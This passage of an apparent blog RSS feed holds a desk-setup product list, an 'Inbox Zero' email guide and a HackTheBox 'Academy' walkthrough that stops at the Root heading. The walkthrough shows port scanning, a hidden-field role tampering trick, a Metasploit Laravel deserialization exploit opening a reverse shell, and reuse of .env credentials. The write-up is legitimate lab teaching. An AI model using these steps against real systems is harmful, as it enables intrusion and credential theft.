  &lt;li&gt;&lt;strong&gt;Computer Stand&lt;/strong&gt; : OMOTON &lt;a href=&quot;https://www.amazon.com/gp/product/B078W4XP77/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;Vertical Laptop Stand&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Fan&lt;/strong&gt; : Dyson &lt;a href=&quot;https://www.dyson.com/air-treatment/air-purifiers/pure-cool-tower-tp01/white-silver&quot;&gt;Pure Cool TP01&lt;/a&gt; [White/Silver]&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Storage&lt;/strong&gt; : IKEA &lt;a href=&quot;https://www.ikea.com/us/en/p/alex-drawer-unit-with-9-drawers-white-50192822/&quot;&gt;ALEX 9-Drawer Unit&lt;/a&gt; [ &lt;em&gt;White&lt;/em&gt; ] - &lt;em&gt;Not Pictured&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Dongles &amp;amp; Cables&lt;/strong&gt; :
    &lt;ul&gt;
      &lt;li&gt;Amazon Basics &lt;a href=&quot;https://www.amazon.com/gp/product/B01JNLUMMW/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;XLR Microphone Cable - 25 feet&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Amazon Basics &lt;a href=&quot;https://www.amazon.com/gp/product/B003L1ZYYM/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;HDMI Cable - 6.5 feet&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Cable Matters &lt;a href=&quot;https://www.amazon.com/gp/product/B00E5I7VJG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;5-feet Cat6 Ethernet Patch Cable&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;StarTech &lt;a href=&quot;https://www.startech.com/en-us/audio-video-products/mdp2hdmi&quot;&gt;Mini DisplayPort to HDMI Video Adapter&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Anker &lt;a href=&quot;https://www.anker.com/products/variant/usbc-to-hdmi-adapter/A83060A1&quot;&gt;USB-C to HDMI Adapter&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Apple &lt;a href=&quot;https://www.apple.com/shop/product/MD862LL/A/apple-thunderbolt-cable-05-m&quot;&gt;Thunderbolt 2 Cable&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Apple &lt;a href=&quot;https://www.apple.com/shop/product/MMEL2AM/A/thunderbolt-3-usb-c-to-thunderbolt-2-adapter&quot;&gt;Thunderbolt 3 (USB-C) to Thunderbolt 2 Adapter&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Stouchi &lt;a href=&quot;https://www.amazon.com/gp/product/B07K5S2116/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;USB-C Extension Cable - 6 feet&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Apple &lt;a href=&quot;https://www.apple.com/shop/product/MLL82AM/A/usb-c-charge-cable-2-m&quot;&gt;USB-C Charge Cable - 2 feet&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Apple &lt;a href=&quot;https://www.apple.com/shop/product/MX0J2AM/A/96w-usb-c-power-adapter?fnode=2cac9f343785a529b5bde19384eb1bd5f5e1253b246b3fa8a73e3a3c237b196cc44864538802bdb172f57b7758ed098b9c60f98193938af66391889f555888bb8eecbf01086e1cd753b41ef248a5d4a00d216dab6970b7490894966c0d4774e79bb2f47ee06f9894f35fc98f489edee5&amp;amp;fs=f%3Dadapter%26fh%3D459d%252B45b0&quot;&gt;96W USB-C Power Adapter&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Amazon Basics &lt;a href=&quot;https://www.amazon.com/gp/product/B07GFRKSXD/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;8-Outlet Power Strip Surge Protector&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Netgear &lt;a href=&quot;https://www.amazon.com/gp/product/B07PLFCQVK/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;8-Port Gigabit Smart Managed Plus Switch&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Anker &lt;a href=&quot;https://www.anker.com/products/variant/powerport-atom-pd-2/A2029121&quot;&gt;PowerPort Atom PD 2&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Apple &lt;a href=&quot;https://www.apple.com/shop/product/MR2C2AM/A/lightning-to-35mm-audio-cable-12m?afid=p238%7CsAnYfR4Lq-dc_mtid_1870765e38482_pcrid_496840630941_pgrid_117014976883_&amp;amp;cid=aos-us-kwgo-pla-btb--slid---product-MR2C2AM/A&quot;&gt;Lightning to 3.5mm Audio Cable&lt;/a&gt; (1.2m, Black)&lt;/li&gt;
      &lt;li&gt;MillSO &lt;a href=&quot;https://www.amazon.com/dp/B07DFFBNC5?psc=1&amp;amp;ref=ppx_yo2_dt_b_product_details&quot;&gt;1/4 to 3.5mm Headphone Adapter TRS&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Accoutrement&lt;/strong&gt; :
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;Plant&lt;/strong&gt; : IKEA &lt;a href=&quot;https://www.ikea.com/us/en/p/fejka-artificial-potted-plant-indoor-outdoor-grass-00433942/&quot;&gt;FEJKA&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;Plant Holder&lt;/strong&gt; : Some coffee mug I found in my house…&lt;/li&gt;
      &lt;li&gt;Hot Wheels &lt;a href=&quot;https://www.amazon.com/gp/product/B07WNSPG4Z/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;amp;psc=1&quot;&gt;2019 Tesla Model 3&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;previous-setups&quot;&gt;Previous Setups&lt;/h1&gt;

&lt;p&gt;This setup has been a project for the last few years since I moved into the new space. In it’s earliest forms, it looked something like this…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/desksetup/foldingtable.jpeg&quot; alt=&quot;old folding table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Same core monitors but with books as risers and a folding table holding it all up. Yikes! Eventually, I bought the foundation as you see below… beautiful.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/desksetup/ikeadeskclean.jpeg&quot; alt=&quot;new desk&quot; /&gt;&lt;/p&gt;

&lt;p&gt;…and for a time my MacBook Pro ran the show.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/desksetup/runoffmacbook.jpeg&quot; alt=&quot;macbook led setup&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;
</description>
        <pubDate>Thu, 11 Mar 2021 08:40:00 -0500</pubDate>
        <link>https://shellsharks.com/desk-setup-2021</link>
        <guid isPermaLink="true">https://shellsharks.com/desk-setup-2021</guid>
        
        <category>desksetup</category>
        
        <category>technology</category>
        
        <category>apple</category>
        
        <category>desksetup</category>
        
        
        <category>life</category>
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>The Zen of Inbox Zero</title>
        <shark:summary><p>Email is ubiquitous. Email is a <em>deluge</em>. Email is a <strong>mess</strong>. But there is a way… a way to quell the torrent of spam, subscriptions, notifications, alerts, reminders, social media updates, promotions, confirmations and whatever else seeks to wreak havoc on your inbox - <strong>Inbox Zero</strong>.</p>
</shark:summary>
        <description>&lt;p&gt;Email is ubiquitous. Email is a &lt;em&gt;deluge&lt;/em&gt;. Email is a &lt;strong&gt;mess&lt;/strong&gt;. But there is a way… a way to quell the torrent of spam, subscriptions, notifications, alerts, reminders, social media updates, promotions, confirmations and whatever else seeks to wreak havoc on your inbox - &lt;strong&gt;Inbox Zero&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This concept was &lt;a href=&quot;https://www.youtube.com/watch?v=z9UjeTMb3Yk&quot;&gt;first introduced by Merlin Mann during a Google TechTalk&lt;/a&gt; in 2007. I’ve never &lt;em&gt;actually&lt;/em&gt; watched this video nor do I remember when I was first introduced to the idea of “Inbox Zero” but I’ve been very successful in remaining true to &lt;em&gt;my idea of this concept&lt;/em&gt; for well over a decade and I’m here to say it has brought sanity and control to my digital life and it can for you too.&lt;/p&gt;

&lt;center&gt;&lt;a href=&quot;https://mail.google.com/&quot;&gt;&lt;i class=&quot;ph ph-envelope-simple lg&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/center&gt;

&lt;p&gt;What you see below is madness…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/toomanyemails.png&quot; alt=&quot;toomanyemails&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=G7AinOjDiNQ&quot;&gt;…Madness? This. is. EMAIL!&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;lets-zero-it-out&quot;&gt;Let’s Zero It Out&lt;/h1&gt;

&lt;p&gt;Despite it’s name, &lt;em&gt;Inbox Zero&lt;/em&gt; is not about having &lt;em&gt;nothing&lt;/em&gt; in your inbox. Rather, it is about having a &lt;strong&gt;repeatable&lt;/strong&gt; process by which you can deal with each email you receive, which in turn gives you control over your inbox and reduces what remains to only the items that are either pending and/or actionable. Let’s walk through this process…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Unsubscribe&lt;/strong&gt;: I recommend a scorched-earth approach to unsubscribing to subscription-based emails. Unless you absolutely need something, click that “unsubscribe” button and be rid of it. &lt;strong&gt;Pro Tip&lt;/strong&gt;: If an email doesn’t have an “Unsubscribe” link, mark it as spam or even create a mail rule to auto-send it where it belongs - anywhere but your inbox.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Consume&lt;/strong&gt;: A lot of email is simply informational. Anything in your inbox that matches this criteria can easily be archived (Step 5) or deleted (Step 6) once you have consumed the necessary information. If you find the information not-useful, perhaps consider Step 1.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Take Action&lt;/strong&gt;: Does the email represent something that needs to be done? If so, do what needs to be done and then archive (Step 5) or delete (Step 6) the respective email. If it can’t be done right now due to a dependency, see Step 4. &lt;strong&gt;*If it CAN be done but you don’t have time for it, simply leave it in your inbox until you can get to it&lt;/strong&gt;. In this way, these emails will serve as constant reminders of things that need to and can be done.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Save For Later&lt;/strong&gt;: If an email represents something that needs to be done but can’t be done due to a dependency, move it to a separate folder (or label if your a Gmail person). I have a folder literally called “For Later” that these &lt;em&gt;to-do&lt;/em&gt; emails go to. All of these to-do emails should go to the same special “For Later” folder. &lt;strong&gt;*It is important to revisit this folder on a frequent basis to see if there is anything that no longer has dependencies and is thus actionable&lt;/strong&gt;. Here, you can do what needs to be done and then proceed to archive (Step 5) or delete (Step 6) the email.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Archive&lt;/strong&gt;: When you are through with an email but would like to keep it for later-reference, archive it or move it to a folder of your choosing. This will effectively remove it from your inbox.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Trash&lt;/strong&gt;: For everything else, &lt;em&gt;trash it&lt;/em&gt;. You don’t need it. Get it out of your inbox. &lt;strong&gt;Pro Tip&lt;/strong&gt;: Be mindful of what you are trashing. Chances are, if you are trashing an email, it should have never been in your inbox to begin with. I recommend unsubscribing from as many of these would-be-trashed emails as you can.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;wrapping-up&quot;&gt;Wrapping Up&lt;/h1&gt;

&lt;p&gt;I’ve always fancied myself a &lt;strong&gt;minimalist&lt;/strong&gt;. This mindset helps me make “tough” decisions when it comes to unsubscribing, trashing or otherwise being “real” with myself about what I need or don’t need in my life. I’m also a particularly &lt;strong&gt;organized&lt;/strong&gt; individual, especially with respect to my &lt;em&gt;digital&lt;/em&gt; life. &lt;em&gt;Inbox Zero&lt;/em&gt; is a manifestation of these two virtues and is a philosophy that with some practice, can be exercised by anyone. With it, you too can reclaim your inbox, get things done and achieve digital zen.&lt;/p&gt;

&lt;p&gt;For more on the &lt;em&gt;science&lt;/em&gt; of Inbox Zero, check out &lt;a href=&quot;https://shellsharks.com/inbox-zero-part-2#title&quot;&gt;Part Two&lt;/a&gt;!&lt;/p&gt;
</description>
        <pubDate>Tue, 02 Mar 2021 09:52:00 -0500</pubDate>
        <link>https://shellsharks.com/inbox-zero</link>
        <guid isPermaLink="true">https://shellsharks.com/inbox-zero</guid>
        
        <category>technology</category>
        
        <category>life</category>
        
        <category>inboxzero</category>
        
        
        <category>technology</category>
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>HackTheBox: Academy</title>
        <shark:summary><p>A walkthrough of the <a href="https://www.hackthebox.eu/">HackTheBox</a> system “Academy”. From the <a href="https://shellsharks.com/tags?=hackthebox">Shellsharks HackTheBox walkthrough series</a>.</p>
</shark:summary>
        <description>&lt;p&gt;A walkthrough of the &lt;a href=&quot;https://www.hackthebox.eu&quot;&gt;HackTheBox&lt;/a&gt; system “Academy”. From the &lt;a href=&quot;https://shellsharks.com/tags?=hackthebox&quot;&gt;Shellsharks HackTheBox walkthrough series&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb/academy.png&quot; alt=&quot;Academy&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#reconnaissance&quot;&gt;Reconnaissance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#foothold&quot;&gt;Foothold&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#user&quot;&gt;User&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#root&quot;&gt;Root&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;reconnaissance&quot;&gt;Reconnaissance&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://nmap.org&quot;&gt;NMAP&lt;/a&gt;. Always NMAP.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sS&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; 10.10.10.215                                                                                                               1 ⨯
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; password &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;kali:
Starting Nmap 7.91 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2021-01-22 21:00 EST
Note: Host seems down. If it is really up, but blocking our ping probes, try &lt;span class=&quot;nt&quot;&gt;-Pn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;OK. So NMAP is reporting that the host is down. Well we know the host is there so… Let’s try the &lt;em&gt;-Pn&lt;/em&gt; flag…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sS&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; 10.10.10.215 &lt;span class=&quot;nt&quot;&gt;-Pn&lt;/span&gt;
Host discovery disabled &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Pn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; All addresses will be marked &lt;span class=&quot;s1&quot;&gt;&apos;up&apos;&lt;/span&gt; and scan &lt;span class=&quot;nb&quot;&gt;times &lt;/span&gt;will be slower.
Starting Nmap 7.91 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2021-01-22 21:00 EST
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.10.10.215
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.098s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; protocol 2.0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
80/tcp open  http    Apache httpd 2.4.41 &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
Service Info: OS: Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There we go. Ok, so ports 22 and 80 appear to be listening. I add “&lt;em&gt;10.10.10.215 academy.htb&lt;/em&gt;” to &lt;em&gt;/etc/hosts&lt;/em&gt; and then head off to the web server… After registering a user and poking around for a bit, I don’t see anything too interesting. Taking a closer look at the registration (&lt;em&gt;/register.php&lt;/em&gt;) &lt;a href=&quot;view-source:http://academy.htb/register.php&quot;&gt;page source&lt;/a&gt; however I see a hidden form field for “&lt;em&gt;roleid&lt;/em&gt;”. Let’s take a closer look at this.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;td&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;align=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;right&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;input&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;size=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;40&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;confirm&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;confirm&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;roleid&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/table&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Firing up &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;burp&lt;/a&gt;, &lt;a href=&quot;https://portswigger.net/burp/documentation/desktop/getting-started/proxy-setup/browser/firefox&quot;&gt;configuring the proxy settings in Firefox&lt;/a&gt; and toggling the intercept, I submit a new registration request and change the &lt;em&gt;roleid&lt;/em&gt; to “1” instead of “0”. After this, I attempt logging in with this user and… nothing. At first brush, this doesn’t seem to add much functionality. So back to enumeration…&lt;/p&gt;

&lt;p&gt;…after some time… Fire up &lt;a href=&quot;https://tools.kali.org/web-applications/dirb&quot;&gt;dirb&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;dirb&lt;/em&gt; was able to find a &lt;em&gt;/admin.php&lt;/em&gt; resource.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌──(kali㉿kali)-[/usr/share/wordlists/dirb]
└─$ dirb http://academy.htb common.txt                                                                                                              1 ⚙

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Jan 22 22:05:45 2021
URL_BASE: http://academy.htb/
WORDLIST_FILES: common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://academy.htb/ ----
+ http://academy.htb/admin.php (CODE:200|SIZE:2633)  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;foothold&quot;&gt;Foothold&lt;/h1&gt;

&lt;p&gt;Alright, so now on this &lt;em&gt;admin.php&lt;/em&gt; login page, I use the account I just created which permits me to the “admin” section of the site. Here on this page I see a reference to a “&lt;em&gt;dev-staging-01.academy.htb&lt;/em&gt;”. Nice - we’ve got some additional application surface.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;td&amp;gt;&lt;/span&gt;Fix issue with dev-staging-01.academy.htb&lt;span class=&quot;nt&quot;&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;td&amp;gt;&lt;/span&gt;pending&lt;span class=&quot;nt&quot;&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I add this to my &lt;em&gt;/etc/hosts&lt;/em&gt; and whisk myself to this new subdomain. This page has a bunch of strange looking exception logs. Included in the presented log is a bunch of environment variables. Notably, I find a variable with a value “&lt;em&gt;Laravel&lt;/em&gt;” and a base-64 encoded “&lt;em&gt;APP_KEY&lt;/em&gt;” value.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Environment Variables
APP_NAME 	&quot;Laravel&quot;
...
APP_KEY 	&quot;base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A little Google-hunting and sure enough, there’s a &lt;a href=&quot;https://www.rapid7.com/db/modules/exploit/unix/http/laravel_token_unserialize_exec/&quot;&gt;Metasploit module&lt;/a&gt; which seems like it could be relevant! I fire up &lt;em&gt;msf&lt;/em&gt; and &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/&quot;&gt;search&lt;/a&gt; for “laravel”. I find the module “&lt;em&gt;unix/http/laravel_token_unserialize_exec&lt;/em&gt;”. I set the options of the module as shown below…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;set APP_KEY to the base64 encoded key you found in the log.&lt;/li&gt;
  &lt;li&gt;set RHOSTS to 10.10.10.215.&lt;/li&gt;
  &lt;li&gt;set VHOST to dev-staging-01.academy.htb.&lt;/li&gt;
  &lt;li&gt;set LHOST to your host.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A li’l &lt;em&gt;exploit -j&lt;/em&gt;…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf6 exploit(unix/http/laravel_token_unserialize_exec) &amp;gt; exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/http/laravel_token_unserialize_exec) &amp;gt;
[*] Started reverse TCP handler on 10.10.14.17:4444
[*] Command shell session 1 opened (10.10.14.17:4444 -&amp;gt; 10.10.10.215:39562) at 2021-01-22 22:17:03 -0500
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Got me a shell session. Let’s drop in…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf6 exploit(unix/http/laravel_token_unserialize_exec) &amp;gt; sessions -i 1
[*] Starting interaction with 1...

hostname
academy
whoami
www-data
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Got me a foothold as &lt;em&gt;www-data&lt;/em&gt;.&lt;/p&gt;

&lt;h1 id=&quot;user&quot;&gt;User&lt;/h1&gt;

&lt;p&gt;First I &lt;a href=&quot;https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/&quot;&gt;upgrade muh shell&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Some more research on Laravel reveals that some sensitive information is typically stored in .env files. A little hunting on the system and I find a &lt;em&gt;.env&lt;/em&gt; in &lt;em&gt;/var/www/html/academy/&lt;/em&gt; which indeed has some interesting stuff.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using these creds for &lt;em&gt;mysql&lt;/em&gt; ended up being a no-go, so i tried to use them elsewhere. Taking a look at &lt;em&gt;/etc/passwd&lt;/em&gt; I see a bunch of potential users these credentials may possibly work for.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mrb3n:x:1001:1001::/home/mrb3n:/bin/sh
cry0l1t3:x:1002:1002::/home/cry0l1t3:/bin/sh
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
21y4d:x:1003:1003::/home/21y4d:/bin/sh
ch4p:x:1004:1004::/home/ch4p:/bin/sh
g0blin:x:1005:1005::/home/g0blin:/bin/sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Eventually, I find that the creds do work for user &lt;em&gt;cry0l1t3&lt;/em&gt;.&lt;/p&gt;

&lt;h1 id=&quot;root&quot;&gt;Root&lt;/h1&gt;

